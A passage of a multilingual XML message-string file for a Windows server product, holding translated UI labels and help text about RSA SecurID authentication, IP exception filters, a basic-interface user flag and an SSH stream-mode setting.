<de>Sie müssen einen gültigen Benutzernamen eingeben.</de>
<es>Debe introducir un nombre de usuario válido.</es>
<fr>Vous devez proposer un nom d'utilisateur valide.</fr>
<it>Fornire un nome utente valido.</it>
<ru>Необходимо предоставить действительное имя пользователя.</ru>
<ja>有効なユーザ名を入力する必要があります。</ja>
<zh>您必须提供有效的用户名。</zh>
<ko>올바른 사용자 이름을 제공해야 합니다.</ko>
<en-gb>You must supply a valid username.</en-gb>
<hu>Egy érvényes felhasználói nevet kell megadnia.</hu>
<pt-br>É necessário fornecer um nome de usuário válido.</pt-br>
<nl>U moet een geldige gebruikersnaam opgeven.</nl>
</msg>
<msg name="RSASECURID">
<en>RSA SecurID Authentication</en>
<de>RSA-SecurID-Authentifizierung</de>
<es>Autenticación RSA SecurID</es>
<fr>Authentification RSA SecureID</fr>
<it>Autenticazione RSA SecurID</it>
<ru>Проверка подлинности RSA SecurID</ru>
<ja>RSA SecurID 認証</ja>
<zh>RSA SecurID 验证</zh>
<ko>RSA SecurID 인증</ko>
<en-gb>RSA SecurID Authentication</en-gb>
<hu>RSA SecurID hitelesítés</hu>
<pt-br>Autenticação RSA SecurID</pt-br>
<nl>RSA SecurID-verificatie</nl>
</msg>
<msg name="RSANAWARNING">
<en>WARNING! The RSA/ACE Agent API is currently not available. Check your
RSA/ACE Agent installation and RSA/ACE Server status!</en>
<de>ACHTUNG! Die RSA/ACE Agent API ist derzeit nicht verfügbar. Prüfen Sie
Ihre RSA/ACE Agent Installation und den RSA/ACE Serverstatus!</de>
<es>¡AVISO! El RSA/ACE Agent API no está disponible en estos momentos. Verifique
la instalación de su RSA/ACE Agent y el estado del servidor RSA/ACE.</es>
<fr>ATTENTION! L'agent API de RSA/ACE n'est actuellement pas disponible. Vérifiez l'installation
de  votre agent RSA/ACE et le statut du serveur RSA/ACE !</fr>
<it>AVVISO! L'API di RSA/ACE Agent non è attualmente disponibile. Verificare l'installazione di RSA/ACE Agent e lo stato di RSA/ACE Server.</it>
<ru>ПРЕДУПРЕЖДЕНИЕ! Интерфейс прикладного программирования агента RSA/ACE в настоящее время недоступен. Проверьте установку агента RSA/ACE и состояние сервера RSA/ACE!</ru>
<ja>警告!RSA/ACE エージェント API は現在使用できません。RSA/ACE エージェントのインストールと RSA/ACE サーバーのステータスを確認してください。</ja>
<zh>警告!RSA/ACE 代理 API 当前不可用。检查您的 RSA/ACE 代理安装和 RSA/ACE 服务器状态!</zh>
<ko>경고! RSA/ACE 에이전트 API는 현재 사용할 수 없습니다. RSA/ACE 에이전트 설치 및 RSA/ACE 서버 상태를 확인하십시오!</ko>
<en-gb>WARNING! The RSA/ACE Agent API is currently not available. Check your RSA/ACE Agent installation and RSA/ACE Server status!</en-gb>
<hu>FIGYELEM! Az RSA/ACE Agent API jelenleg nem elérhető. Ellenőrizze
RSA/ACE Agent telepítését valamint az RSA/ACE kiszolgáló állapotát!</hu>
<pt-br>AVISO! A API do agente RSA/ACE não está disponível no momento. Verifique a
instalação do agente RSA/ACE e o status do servidor RSA/ACE!</pt-br>
<nl>WAARSCHUWING! De API-interface van de RSA/ACE-agent API is op dit moment niet beschikbaar. Controleer de installatie van uw RSA/ACE-agent en de status van de RSA/ACE-server!</nl>
</msg>
<msg name="RSADISABLED">
<en>Disabled</en>
<de>Deaktiviert</de>
<es>Deshabilitado</es>
<fr>Désactivé</fr>
<it>Disattivato</it>
<ru>Отключен</ru>
<ja>無効</ja>
<zh>已禁用</zh>
<ko>사용 안 함</ko>
<en-gb>Disabled</en-gb>
<hu>Kikapcsolva</hu>
<pt-br>Desabilitado</pt-br>
<nl>Uitgeschakeld</nl>
</msg>
<msg name="RSAENABLEDALL">
<en>Required for all users</en>
<de>Für alle Benutzer erforderlich</de>
<es>Requerido a todos los usuarios</es>
<fr>Requis pour tous les utilisareurs</fr>
<it>Richiesto per tutti gli utenti</it>
<ru>Требуется для всех пользователей</ru>
<ja>すべてのユーザに必要</ja>
<zh>所有用户均需要</zh>
<ko>모든 사용자에게 필수</ko>
<en-gb>Required for all users</en-gb>
<hu>Minden felhasználó számára szükséges</hu>
<pt-br>Obrigatório para todos os usuários</pt-br>
<nl>Vereist voor alle gebruikers</nl>
</msg>
<msg name="RSAENABLEDSPEC">
<en>Required for specified users</en>
<de>Für ausgewählte Benutzer erforderlich</de>
<es>Requerido a usuarios específicos</es>
<fr>Requis pour les utilisateurs indiqués</fr>
<it>Richiesto per utenti specifici</it>
<ru>Требуется для всех указанных пользователей</ru>
<ja>特定のユーザに必要</ja>
<zh>指定用户需要</zh>
<ko>특정 사용자에게 필수</ko>
<en-gb>Required for specified users</en-gb>
<hu>A megadott felhasználók számára szükséges</hu>
<pt-br>Obrigatório para usuários especificados</pt-br>
<nl>Vereist voor de opgegeven gebruikers</nl>
</msg>
<msg name="RSAFORCE">
<en>Fail authentication attempts if the RSA ACE/Server is not available</en>
<de>Anmeldeversuche zurückweisen, wenn der RSA-ACE-Server nicht verfügbar ist</de>
<es>Intentos de autenticación erróneos si RSA ACE/Server no está disponible</es>
<fr>L'authentification va échouer si le RSA ACE/Server n'est pas disponible.</fr>
<it>Tentativi di autenticazione non riusciti se RSA/ACE Server non è disponibile</it>
<ru>Попытки прохождения проверки подлинности будут неудачны в случае недоступности сервера RSA/ACE.</ru>
<ja>RSA/ACE サーバーが無効の場合、認証試行は失敗します</ja>
<zh>如果 RSA/ACE 服务器不可用,则验证尝试将失败</zh>
<ko>RSA/ACE 서버를 사용할 수 없을 경우 인증 시도 실패</ko>
<en-gb>Fail authentication attempts if the RSA ACE/Server is not available</en-gb>
<hu>Hitelesítési kísérletek meghiúsítása, ha az RSA ACE/Kiszolgáló nem elérhető.</hu>
<pt-br>Se o servidor RSA/ACE não estiver disponível, haverá falha na tentativa de autenticação.</pt-br>
<nl>Verificatiepogingen als mislukt interpreteren als de RSA/ACE-server niet beschikbaar is</nl>
</msg>
<msg name="RSAEQNAMES">
<en>Force User ID to match Login Name</en>
<de>Übereinstimmung von User-ID und Anmeldenamen erzwingen</de>
<es>Forzar que el ID de usuario sea igual que el nombre de inicio de sesión</es>
<fr>Forcer l'Identification Utilisateur afin de correspondre au nom d'ouverture de session</fr>
<it>Forza corrispondenza tra ID utente e nome di accesso</it>
<ru>Требовать обязательное совпадение идентификатора пользователя с именем для входа.</ru>
<ja>ユーザ ID とログイン名の一致を強制</ja>
<zh>强制用户 ID 与登录名相匹配</zh>
<ko>사용자 ID를 로그인 이름과 일치시킴</ko>
<en-gb>Force User ID to match Login Name</en-gb>
<hu>A felhasználói azonosítónak egyeznie kell a bejelentkezési névvel</hu>
<pt-br>Forçar ID do usuário a corresponder ao nome de login</pt-br>
<nl>Gebruikers-ID en aanmeldingsnaam moeten overeenstemmen</nl>
</msg>
<msg name="RSAUSEDOMAIN">
<en>Use domain name in User IDs</en>
<de>Domänenname in User-IDs verwenden</de>
<es>Utilizar nombre de dominio en IDs de usuario</es>
<fr>Utiisez un nom de domaine dans l'utilisateur IDs</fr>
<it>Usa nome di dominio negli ID utente</it>
<ru>Использовать имя домена в идентификаторах пользователя</ru>
<ja>ユーザ ID にドメイン名を使用</ja>
<zh>在用户 ID 中使用域名</zh>
<ko>사용자 ID에 도메인 이름 사용</ko>
<en-gb>Use domain name in User IDs</en-gb>
<hu>Tartománynév a felhasználói azonosítókban</hu>
<pt-br>Usar nome de domínio em Ids do usuário</pt-br>
<nl>Domeinnaam in gebruikers-ID's gebruiken</nl>
</msg>
<msg name="RSAFILTER">
<en>RSA SecurID IP Exception Filter</en>
<de>RSA SecurId IP Ausnahmefilter</de>
<es>Filtro de excepción de IP de RSA SecurID</es>
<fr>Filtre d'exception IP de RSA SecurID</fr>
<it>Filtro eccezioni IP di RSA SecurID</it>
<ru>IP-фильтр исключений RSA SecurID</ru>
<ja>RSA SecurID の例外フィルタ</ja>
<zh>RSA SecurID IP 例外过滤器</zh>
<ko>RSA SecurID IP 예외 필터</ko>
<en-gb>RSA SecurID IP Exception Filter</en-gb>
<hu>RSA SecurID IP kivételszűrő</hu>
<pt-br>Filtro de exceção de IP do RSA SecurID</pt-br>
<nl>Uitzondering maken voor IP-adressen via RSA SecurID tijdens filteren</nl>
</msg>
<msg name="RSAFILTERNOTE">
<en>Here you may set up an IP filter profile for which RSA SecurID will not apply.
Creating these exceptions are useful when users have already been fully authenticated
at these sources and do not need to identify themselves again.</en>
<de>Hiere können sie ein IP Filter-Profil anlegen, auf das RSA SecurId sich nicht bezieht. Diese Ausnahmen sind nützlich, wenn der Benutzer für diese Quellprogramme schon authentifiziert (bestätigt) worden ist. So brauchen Sie sich nicht mehr identifizieren.</de>
<es>Aquí puede configurar un perfil de filtro de IP para el que no se aplicará RSA SecurID.
La creación de estas excepciones es útil cuando los usuarios ya se han autenticado totalmente
en estos orígenes y no necesitan identificarse de nuevo.</es>
<it>È possibile che venga impostato un profilo di filtro IP non valido per RSA SecurID.
La creazione delle eccezioni è utile quando gli utenti sono già stati autenticati completamente in queste origini e non è necessaria una nuova autenticazione.</it>
<ru>Здесь можно установить профиль IP-фильтров, для которого не будет применяться RSA SecurID.
Создание таких исключений полезно, когда пользователи уже прошли проверку подлинности в источниках и им больше не нужно идентифицировать себя.</ru>
<ja>ここでは、RSA SecurID が適用されない IP のフィルタ プロファイルを設定できます。このような例外を作成しておくと、ユーザがこれらのソースで既に十分に認証されていて再度本人確認をする必要がない場合に便利です。</ja>
<zh>您可以在此处设置一个 IP 过滤器配置文件(RSA SecurID 将不应用于此配置文件)。当用户已通过这些源的完全验证而不需要再次进行自我标识时,创建这些例外很有用。</zh>
<ko>RSA SecurID가 적용되지 않을 IP 필터 프로필을 설정할 수 있습니다. 이런 예외 필터를 만드는 것은 이미 사용자의 신원을 인증하여 다시 신원을 확인할 필요가 없는 경우 유용합니다.</ko>
<en-gb>Here, you may set up an IP filter profile for which RSA SecurID will not apply.
Creating these exceptions are useful when users have already been fully authenticated at these sources and do not need to identify themselves again.</en-gb>
<hu>Itt állíthat be egy IP szűrő profilt, amelyre az RSA SecurID nem fog vonatkozni.
Ezen kivételek létrehozása akkor hasznos, ha a felhasználók már teljes mértéken hitelesítettek
ezen forrásokra, és nincs szükség ismételt azonosításukra.</hu>
<pt-br>Aqui você pode configurar um perfil do filtro IP para o qual o RSA SecurID não será aplicado.
A criação dessas exceções é útil quandoos usuários já tiverem sido totalmente autenticados
nessas origens e não precisarem se identificar novamente.</pt-br>
<nl>Hiermee kunt u een profiel voor een IP-filter configureren dat niet wordt toegepast op IP-adressen via RSA SecurID. Dergelijke uitzonderingen zijn handig wanneer gebruikers reeds volledig zijn geverifieerd via deze bronnen zodat zij zich niet opnieuw moeten laten identificeren.</nl>
</msg>
<msg name="RSASSHNOTES">
<en>If you use RSA SecurID authentication, the SSH server accepts SSH2 connections
with keyboard-interactive authentication only.</en>
<de>Wenn Sie die RSA SecurID Authentifizierung verwenden, akzeptiert der SSH Server
nur SSH2 Verbindungen mit Keyboard-interaktiver Authentifizierung.</de>
<es>Si utiliza autenticación RSA SecurID, el servidor SSH acepta conexiones SSH2
con sólo la autenticación interactiva con teclado.</es>
<fr>Si vous employez l'authentification de RSA SecurID, le serveur de SSH accepte les connexions SSH2
avec l'authentification clavier-interactifeulement.</fr>
<it>Se si utilizza l'autenticazione RSA SecurID, il server SSH accetterà le connessioni SSH2 solo con autenticazione interattiva da tastiera.</it>
<ru>При использовании проверки подлинности RSA SecurID SSH-сервер принимает только SSH2-подклчюения с проверкой подлинности на основе ввода с клавиатуры.</ru>
<ja>RSA SecurID 認証を使用した場合、SSH サーバーは、キーボード インタラクティブ認証でのみ SSH2 接続を許可します。</ja>
<zh>如果使用 RSA SecurID 验证,SSH 服务器仅接受采用键盘交互式验证的 SSH2 连接。</zh>
<ko>RSA SecurID 인증을 사용할 경우 SSH 서버는 키보드 입력식 인증만 사용하여 SSH2 연결을 허용합니다.</ko>
<en-gb>If you use RSA SecurID authentication, the SSH server accepts SSH2 connections with keyboard-interactive authentication only.</en-gb>
<hu>Ha RSA SecurID hitelesítést használ, az SSH kiszolgáló csak billentyűzetes interaktív,
SSH2 kapcsolatokat fogad el.</hu>
<pt-br>Se você usar autenticação do RSA SecurID, o servidor SSH somente aceitará conexões SSH2
com autenticação interativa com o teclado.</pt-br>
<nl>Als u gebruikmaakt van RSA SecurID-verificatie, accepteert de SSH-server uitsluitend SSH2-verbindingen met een interactieve verificatie via het toetsenbord.</nl>
</msg>
<msg name="RSAREQUIRES">
<en>Requires</en>
<de>Erfordert</de>
<es>Obligatorio</es>
<fr>Requis</fr>
<it>Richiede</it>
<ru>Требует</ru>
<ja>必要</ja>
<zh>需要</zh>
<ko>필요</ko>
<en-gb>Requires</en-gb>
<hu>Követel</hu>
<pt-br>Requer</pt-br>
<nl>Vereist</nl>
</msg>
<msg name="RSANOTREQUIRES">
<en>Does not require</en>
<de>Erfordert nicht</de>
<es>No obligatorio</es>
<fr>Non requis</fr>
<it>Non richiede</it>
<ru>Не требует</ru>
<ja>不要</ja>
<zh>不需要</zh>
<ko>필요 없음</ko>
<en-gb>Does not require</en-gb>
<hu>Nem követel</hu>
<pt-br>Não requer</pt-br>
<nl>Vereist niet</nl>
</msg>
<msg name="RSAUSERSELECT">
<en>Select users or groups in the right column and click Apply to move them to the
left. Select users or groups in the left column and click Apply to move them to the
right. Users and groups shown in the left column are required to be authenticated
with the RSA ACE/Server.</en>
<de>Die in der linken Spalte eingetragenen Benutzer und Gruppen müssen sich über
RSA/ACE Server authentifizieren. Wählen Sie Benutzer oder Gruppen aus der rechten
Spalte und klicken Sie auf Übernehmen, um diese in die linke Spalte zu übernehmen.
Wählen Sie Benutzer oder Gruppen aus der linken Spalte und klicken Sie auf Übernehmen,
um diese in die rechte Spalte zu übernehmen.</de>
<es>Seleccione los usuarios o grupos de la columna derecha y haga clic en "Aplicar" para moverlos a la
izquierda. Seleccione los usuarios o grupos de la columna izquierda y haga clic en "Aplicar" para moverlos a la
derecha. Los usuarios y grupos mostrados en la columna de la izquierda necesitan autenticación
con el RSA ACE/Server.</es>
<fr>Sélectionnez des utilisateurs ou des groupes dans la colonne de droite et cliquez sur Appliquer pour les déplacer
vers la gauche. Sélectionnez des utilisateurs ou des groupes dans la colonne de gauche et cliquez sur Appliquer pour les déplacer
vers la droite. Les utilisateurs et les groupes situés dans la colonne gauche devront être authentifiés avec le RSA ACE/Server.</fr>
<it>Selezionare gli utenti o i gruppi nella colonna destra e fare clic su Applica per spostarli a sinistra. Selezionare gli utenti o i gruppi nella colonna sinistra e fare clic su Applica per spostarli a destra. Gli utenti e i gruppi visualizzati nella colonna sinistra devono essere autenticati con RSA/ACE Server.</it>
<ru>Выберите пользователей и группы в правом столбце и щелкните "Применить", чтобы переместить их в левый столбец. Выберите пользователей и группы в левом столбце и щелкните "Применить", чтобы переместить их в правый столбец. Пользователям и группам, показанным в левом столбце, требуется проходить проверку подлинности на сервере RSA/ACE.</ru>
<ja>右の列からユーザまたはグループを選択し、[適用] をクリックして左に移動します。左の列からユーザまたはグループを選択し、[適用] をクリックして右に移動します。左の列に表示されているユーザおよびグループは、RSA/ACE サーバーでの認証が必要になります。</ja>
<zh>在右列中选择用户或组,并单击“应用”将其移至左列中。在左列中选择用户或组,并单击“应用”将其移至右列中。左列中显示的用户和组需要使用 RSA/ACE 服务器进行验证。</zh>
<ko>오른쪽 열에서 사용자 또는 그룹을 선택한 후 "적용"을 클릭하여 왼쪽으로 이동시킵니다. 왼쪽 열에서 사용자 또는 그룹을 선택한 후 "적용"을 클릭하여 오른쪽으로 이동시킵니다. 왼쪽 열에 표시된 사용자 및 그룹은 RSA ACE/Server로 인증을 해야 합니다.</ko>
<en-gb>Select users or groups in the right column and click Apply to move them to the left. Select users or groups in the left column and click Apply to move them to the right. Users and groups shown in the left column are required to be authenticated with the RSA ACE/Server.</en-gb>
<hu>Válassza ki a felhasználókat vagy csoportokat a jobb oldali oszlopban, és kattintson az Alkalmaz gombra, hogy balra
tegye át azokat. Válassza ki a felhasználókat vagy csoportokat a bal oldali oszlopban, és kattintson az Alkalmaz gombra, hogy jobbra
tegye át azokat. A bal oldali oszlopban látható felhasználók és csoportok számára az RSA ACS/Kiszolgálóval
történő hitelesítés szükséges.</hu>
<pt-br>Selecione usuários ou grupos na coluna da direita e clique em Aplicar para movê-los para a 
esquerda. Selecione usuários ou grupos na coluna da esquerda e clique em Aplicar para movê-los para a 
direita. Os grupos e usuários mostrados na coluna da esquerda devem ser autenticados 
com o servidor RSA ACE.</pt-br>
<nl>Selecteer in de rechterkolom de gewenste gebruikers of groepen en klik op "Toepassen" om deze naar de lijst links te verplaatsen. Selecteer in de linkerkolom de gewenste gebruikers of groepen en klik op "Toepassen" om deze naar de lijst rechts te verplaatsen. De gebruikers en groepen die in de linkerkolom zijn weergegeven, moeten via de RSA/ACE-server worden geverifieerd.</nl>
</msg>
<msg name="FORCEUI">
<!-- user can only use the personal edition's simplified interface -->
<en>Force Basic Interface</en>
<de>Einfache Benutzeroberfläche erzwingen</de>
<es>Forzar interfaz básica</es>
<fr>Forcer l'Interface de Base</fr>
<it>Forza interfaccia di base</it>
<ru>Принудительно активировать базовый интерфейс</ru>
<ja>基本インターフェイスを強制</ja>
<zh>强制基本界面</zh>
<ko>기본 인터페이스 실행</ko>
<en-gb>Force Basic Interface</en-gb>
<hu>Alap felhasználói felület kényszerítése</hu>
<pt-br>Forçar interface básica</pt-br>
<nl>Basisinterface verplicht gebruiken</nl>
</msg>
<msg name="FORCEUI.DESC">
<en>Users with this flag set will get a simplified interface of %PRODUCTNAME,
which offers only a limited set of features, and was designed for novice users.
Note, that this setting only hides certain %PRODUCTNAME features, but does not
disable them, so users can still access them by typing their URLs into the
browser's address bar. Members of the Administrators group are not affected by
this setting.</en>
<de>Wenn diese Einstellung gesetzt ist, erhält der Benutzer eine vereinfachte Benutzeroberfläche von %PRODUCTNAME. Dadurch wird nur ein eingeschränkter Funktionsumfang angeboten. Es eignet sich für unerfahrene Benutzer. Beachten sie, dass diese Einstellung bestimmte %PRODUCTNAME Features nur versteckt, aber nicht deaktiviert. Somit kann der Benutzer die Funktionen nach wie vor erreichen, wenn er die URL manuell in die Adressleiste des Browsers eingibt. Benutzer mit administrativen Berechtigungen sind von dieser Einstellung nicht betroffen.</de>
<es>Los usuarios con esta marca recibirán una interfaz simplificada de %PRODUCTNAME,
que ofrece un conjunto limitado de funciones y ha sido diseñada para usuarios nuevos.
Esta opción sólo oculta ciertas características de %PRODUCTNAME, no las
deshabilita; por lo tanto los usuarios pueden acceder a ellas escribiendo las direcciones URL en
la barra de direcciones del navegador. Esta configuración no afectará a los miembros del grupo
de Administradores.</es>
<fr>Les utilisateurs marqués d'un drapeau obtiendront une interface simplifiée de %PRODUCTNAME, 
laquelle offre seulement un lot limité de fonctions. Cela a été conçu pour des utilisateurs débutants.
Notez que cette interface cache seulement certaines fonctions de %PRODUCTNAME, mais ne les
désactive pas, ainsi les utilisateurs peuvent tout de même y avoir accès en tapant leurs URLs dans la
barre d'adresse du navigateur. Les membres du groupe Administrateurs ne sont pas concernés par ces paramètres.</fr>
<it>Gli utenti con questo contrassegno visualizzeranno un'interfaccia semplificata di %PRODUCTNAME progettata per utenti inesperti e con un set limitato di funzioni.
Questa impostazione nasconde alcune funzioni di %PRODUCTNAME, ma non le disattiva; gli utenti potranno comunque accedervi digitando l'URL corrispondente nella barra degli indirizzi del browser. I membri del gruppo degli amministratori non sono interessati da questa impostazione.</it>
<ru>Пользователи с данным набором флагов будут использовать упрощенный интерфейс приложения %PRODUCTNAME, предлагающий лишь ограниченный набор функций и предназначенный для начинающих пользователей.
Обратите внимание, что данная настройка скрывает некоторые функции %PRODUCTNAME, но не отключает их. Пользователи все еще могут получить к ним доступ, набрав в адресной строке обозревателя свои URL-адреса. Данная настройка не затрагивает членов группы администраторов.</ru>
<ja>このフラグ設定が付いたユーザは、%PRODUCTNAME の簡略化インターフェイスを提供されます。これは限られた機能のセットのみを提供するもので、初心者のユーザのために設計されています。この設定は、%PRODUCTNAME の一部の機能を単に隠しているだけで無効にしているわけではありません。したがって、ユーザがブラウザのアドレス バーに URL を入力すると、設定後もそれらの機能にアクセスできます。管理者グループのメンバーは、この設定の影響を受けません。</ja>
<zh>具有此标志设置的用户将得到 %PRODUCTNAME 的简化界面,此界面专为初级用户设计,仅提供有限的功能集。请注意,此设置仅隐藏但并未禁用某些 %PRODUCTNAME 功能,因此用户仍可通过在浏览器地址栏中键入它们的 URL 来访问这些功能。此设置并不影响管理员组的成员。</zh>
<ko>이 플래그 세트의 사용자는 초보 사용자용으로 설계되었으며 제한된 기능만 제공하는 %PRODUCTNAME의 간단한 인터페이스를 볼 수 있습니다. 이 설정은 특정 %PRODUCTNAME 기능만 숨기고 사용 불가능으로 설정하지 않으므로 사용자는 브라우저의 주소 표시줄에 URL을 입력하여 해당 기능에 계속 액세스할 수 있습니다. 이 설정은 관리자 그룹의 구성원에게 적용되지 않습니다.</ko>
<en-gb>Users with this flag set will get a simplified interface of %PRODUCTNAME, which offers only a limited set of features and was designed for novice users.
Pleas note that this setting only hides certain %PRODUCTNAME features, but does not disable them, so users can still access them by typing their URLs into the browser's address bar. Members of the Administrators group are not affected by this setting.</en-gb>
<hu>Ha be van állítva ez a jelző, akkor a felhasználók a %PRODUCTNAME egyszerűsített felületét fogják látni,
amely csak egy korlátozott funkciókészletet kínál, és a kezdő felhasználóknak szánták.
Ne feledje, hogy ez a beállítás csak elrejt bizonyos %PRODUCTNAME funkciókat, de nem
kapcsolja ki azokat, így a felhasználók továbbra is elérhetik, ha beírják azok URL címét a
böngésző címsorába. A rendszergazda csoport tagjait nem érinti ez
a beállítás.</hu>
<pt-br>Usuários com este sinalizador obterão uma interface simplificada do %PRODUCTNAME,
que oferece somente um conjunto limitado de recursos e foi criada para usuários novos.
Observe que esta configuração só oculta certos recursos do %PRODUCTNAME, mas não 
os desabilita, portanto os usuários ainda podem acessá-los digitando suas URLs na
barra de endereço do navegador. Os membros do grupo de administradores não são afetados por
esta configuração.</pt-br>
<nl>Gebruikers voor wie deze optie is ingeschakeld, krijgen de vereenvoudigde interface van %PRODUCTNAME te zien, waarbij zij slechts een beperkt aantal functies kunnen gebruiken, en die specifiek is ontworpen voor gebruikers met geen of weinig ervaring. Met deze optie worden bepaalde functies van %PRODUCTNAME alleen verborgen en dus niet uitgeschakeld, zodat de gebruikers deze nog steeds kunnen gebruiken; hiervoor voeren zij gewoon hun URL-adressen in de adresbalk van de browser in. Deze instelling heeft geen invloed op de leden van de groep Beheerders.</nl>
</msg>
<msg name="SSHSTREAMSHELL">
<en>SSH Does Not Emulate Stream Mode</en>
<de>SSH emuliert Strommodus nicht</de>
<es>SSH no emula el modo secuencial</es>
<it>SSH non emula la modalità flusso</it>
<ru>SSH не эмулирует потоковый режим</ru>
<ja>SSH によるストリーム モードのエミュレートなし</ja>
<zh>SSH 不会仿真流模式</zh>
<ko>SSH는 스트림 모드를 에뮬레이트하지 않음</ko>
<en-gb>SSH Does Not Emulate Stream Mode</en-gb>
<hu>Az SSH ne emulálja az adatfolyam üzemmódot</hu>
<pt-br>SSH não emula no modo de fluxo</pt-br>
<nl>SSH zonder emulatie voor de gegevensstroommodus</nl>
</msg>
<msg name="SSHSTREAMSHELL.DESC">
<en>Set this flag to disable emulated stream mode for the SSH Server. SSH uses
an emulated stream mode when the command shell is cmd.exe. Emulation is turned
off by setting this flag, and this allows you to use an alternate shell (such
as bash.exe) in stream mode. (You can control the shell interpreter used by
changing the ComSpec environment variable for this user.) This flag, when set,
overrides the system-wide "Console Mode" parameter under "Telnet Server" and
will enable Stream Mode for this user.</en>
<de>Setzten Sie dieses Kennzeichen, um den emulierten Strommodus für den SSH Server unzugänglich zu machen. 
SSH benutzt einen emulierten Strommodus wenn der Befehl ist cdm.exe. Emulation ist abgeschaltet wenn Sie dieses 
Kennzeichen setzen und es ermöglicht Ihnen eine alternative Schale (?) im Strommodus (?) zu benutzen (wie zum Beispiel bash.exe). 
Sie können den Interpreter kontollieren, indem Sie die ComSpec Umfeld –Variable verändern. Wenn dieses Kennzeichen 
gesetzt ist, ist der Console Mode Parameter aufgehoben und den Strommodus wird für den Benutzer zugänglich gemacht.</de>
<es>Establezca esta marca para deshabilitar el modo secuencial emulado para el servidor SSH. SSH utiliza
un modo secuencial emulado cuando el shell de comandos es cmd.exe. La emulación se desactiva
al establecer esta marca, y, de este modo, podrá utilizar un shell alternativo (como
bash.exe) en modo secuencial. (Puede controlar el intérprete del shell utilizado
modificando la variable de entorno ComSpec para este usuario.) Cuando se establece esta marca
se anula el parámetro "Modo Consola" del sistema de "Servidor Telnet" y
se activará el modo secuencial para este usuario.</es>
<it>Impostare questo contrassegno per disattivare la modalità flusso emulata per il server SSH. SSH utilizza una modalità flusso emulata con la shell dei comandi cmd.exe. L'emulazione viene disattivata impostando questo contrassegno che consente di utilizzare una shell alternativa (quale bash.exe) in modalità flusso. (È possibile controllare l'interprete shell utilizzato modificando la variabile d'ambiente ComSpec per l'utente). Questo contrassegno, se impostato, sostituisce il parametro di sistema "Console Mode" in "Telnet Server" e disattiva la modalità flusso per l'utente.</it>
<ru>Установите данный флажок, чтобы отключить эмулированный потоковый режим для SSH-сервера. SSH использует эмулированный потоковый режим, когда в качестве командной оболочки используется cmd.exe. Эмуляция отключается установкой этого флага, что позволяет использовать в потоковом режиме альтернативную оболочку (например, bash.exe). (Интерпретатор оболочки управляется путем изменения переменной среды ComSpec данного пользователя.) Установка данного флага замещает общесистемный параметр "Консольный режим" из раздела "Telnet-сервер" и активирует потоковый режим для данного пользователя.</ru>
<ja>SSH サーバーのエミュレート済みストリーム モードを無効にする場合、このフラグを設定します。コマンド シェルが cmd.exe の場合、SSH はエミュレート済みのストリーム モードを使用します。このフラグを設定すると、エミュレーションが無効となるため、ストリーム モードで代替のシェル (bash.exe など) が使用できます。(このユーザに対して、ComSpec 環境変数を変更することにより、使用されるシェル インタプリタを制御できます。)このフラグを設定すると、「Telnet サーバー」下のシステム全体に適用される「コンソール モード」パラメータが無効になり、このユーザに対してストリーム モードが有効になります。</ja>
<zh>设置此标志以禁用用于 SSH 服务器的仿真流模式。命令 shell 为 cmd.exe 时,SSH 将使用仿真流模式。通过设置此标志可以关闭仿真,这使您可以在流模式中使用备用 shell(例如 bash.exe)。(您可以通过更改此用户的 ComSpec 环境变量来控制所使用的 shell 解释器。)此标志在设置后,将替代“Telnet 服务器”下系统范围内的“控制台模式”参数,并为该用户启用流模式。</zh>
<ko>SSH 서버에 대해 에뮬레이트된 스트림 모드를 사용하지 않도록 이 플래그를 설정합니다. 명령 셸이 cmd.exe인 경우 SSH는 에뮬레이트된 스트림 모드를 사용합니다. 이 플래그를 설정하여 에뮬레이션을 해제하면 스트림 모드에서 대체 셸(예: bash.exe)을 사용할 수 있습니다. (이 사용자의 ComSpec 환경 변수를 변경하여 사용된 셸 인터프리터를 제어할 수 있습니다.) 이 플래그를 설정하면 "텔넷 서버"에서 시스템 범위의 "콘솔 모드" 매개 변수가 무시되고 이 사용자에 대한 스트림 모드가 사용 가능해집니다.</ko>
<en-gb>Set this flag to disable emulated stream mode for the SSH Server. SSH uses an emulated stream mode when the command shell is cmd.exe. Emulation is turned off by setting this flag and this allows you to use an alternate shell (such as bash.exe) in stream mode. (You can control the shell interpreter used by changing the ComSpec environment variable for this user.) This flag, when set, overrides the system-wide "Console Mode" parameter under "Telnet Server" and will enable Stream Mode for this user.</en-gb>
<hu>Állítsa be ezt a jelzőt, hogy kikapcsolja az emulált adatfolyam üzemmódot az SSH kiszolgálón. Az SSH egy
emulált adatfolyam üzemmódot használ, ha a parancshéj a cmd.exe. Az emulálás
kikapcsolódik, ha beállítja ezt a jelzőt, és ez lehetővé teszi egy másik héj használatát (például
a bash-exe), az adatfolyam üzemmódban. (A használt parancsértelmezőt a ComSpec
környezeti változónak az adott felhasználó esetében történő módosításával vezérelheti.) Ez a jelző, ha be van állítva,
felülbírálja a rendszer "Konzol üzemmód" paraméterét a "Telnet kiszolgáló" alatt és
bekapcsolja az adatfolyam üzemmódot erre a felhasználóra.</hu>
<pt-br>Defina este sinalizador para desabilitar o modo de fluxo do servidor SSH. O SSH usa
um modo de fluxo emulado quando o shell do comando é cmd.exe. A emulação é desativada
com a configuração deste sinalizador, o que permite que você use um shell alternativo (como
bash.exe) no modo de fluxo. (Você pode controlar o interpretador de shell usado pela
variável do ambiente CompSec deste usuário.) Este sinalizador, quando definido,
substitui o parâmetro "Console Mode" em todo o sistema em "Telnet Server" e
habilitará o modo de fluxo deste usuário.</pt-br>
<nl>Schakel deze optie in als u de geëmuleerde gegevensstroommodus voor de SSH-server wilt uitschakelen. SSH maakt gebruik van een geëmuleerde gegevensstroommodus wanneer cmd.exe als opdrachtshell wordt gebruikt. U kunt deze emulatie uitschakelen door deze optie in te schakelen, zodat u een alternatieve shell (bv. bash.exe) in de gegevensstroommodus kunt gebruiken. (U kunt zelf bepalen welke shell-interpreter moet worden gebruikt door de ComSpec-omgevingsvariabele voor deze gebruiker aan te passen.) Als deze optie is ingeschakeld, wordt de parameter voor de "Consolemodus" onder "Telnet-server", die voor het volledige systeem wordt toegepast, genegeerd en wordt de gegevensstroommodus voor deze gebruiker ingeschakeld.</nl>
</msg>
<msg name="FULL">
<en>Full Control</en>
<de>Volle Kontrolle</de>
<es>Control total</es>
<fr>Accès complet</fr>
<it>Controllo completo</it>
<ru>Полное управление</ru>
<ja>フル コントロール</ja>
<zh>完全控制</zh>
<ko>모든 권한</ko>
<en-gb>Full Control</en-gb>
<hu>Teljes vezérlés</hu>
<pt-br>Full Control (Controle total)</pt-br>
<nl>Volledig beheer</nl>
</msg>
<msg name="FULL.DESC">
